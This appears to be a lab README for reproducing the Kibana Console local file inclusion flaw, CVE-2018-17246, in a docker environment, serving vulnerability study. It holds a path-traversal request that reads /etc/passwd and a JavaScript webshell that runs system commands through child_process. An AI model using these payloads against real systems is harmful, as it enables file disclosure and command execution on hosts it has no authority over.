+# Kibana Local File Inclusion (CVE-2018-17246)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Kibana is an open source data visualization dashboard for Elasticsearch.
+
+Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

+
+## Environment Setup
+
+Start the Kibana 5.6.12 and Elasticsearch 5.6.16:
+
+```
+docker compose up -d
+```
+
+After started the environment, the Kibana is listening on `http://your-ip:5106`.
+
+## Vulnerability Reproduction
+
+Send the following request to trigger a basic path traversal:
+
+```
+http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
+```
+
+Though there is nothing response except a error message with the 500 status code, you can see the exception in the `docker compose logs`:

+
+File `/etc/passwd` is imported successfully.
+
+To exploit this vulnerability, you need to upload a JavaScript webshell to the machine where the Kibana is running, then include it.
+
+```js
+// docker compose exec kibana bash && echo '...code...' > /tmp/vulhub.js
+export default {asJson: function() {return require("child_process").execSync("id").toString()}}
+```
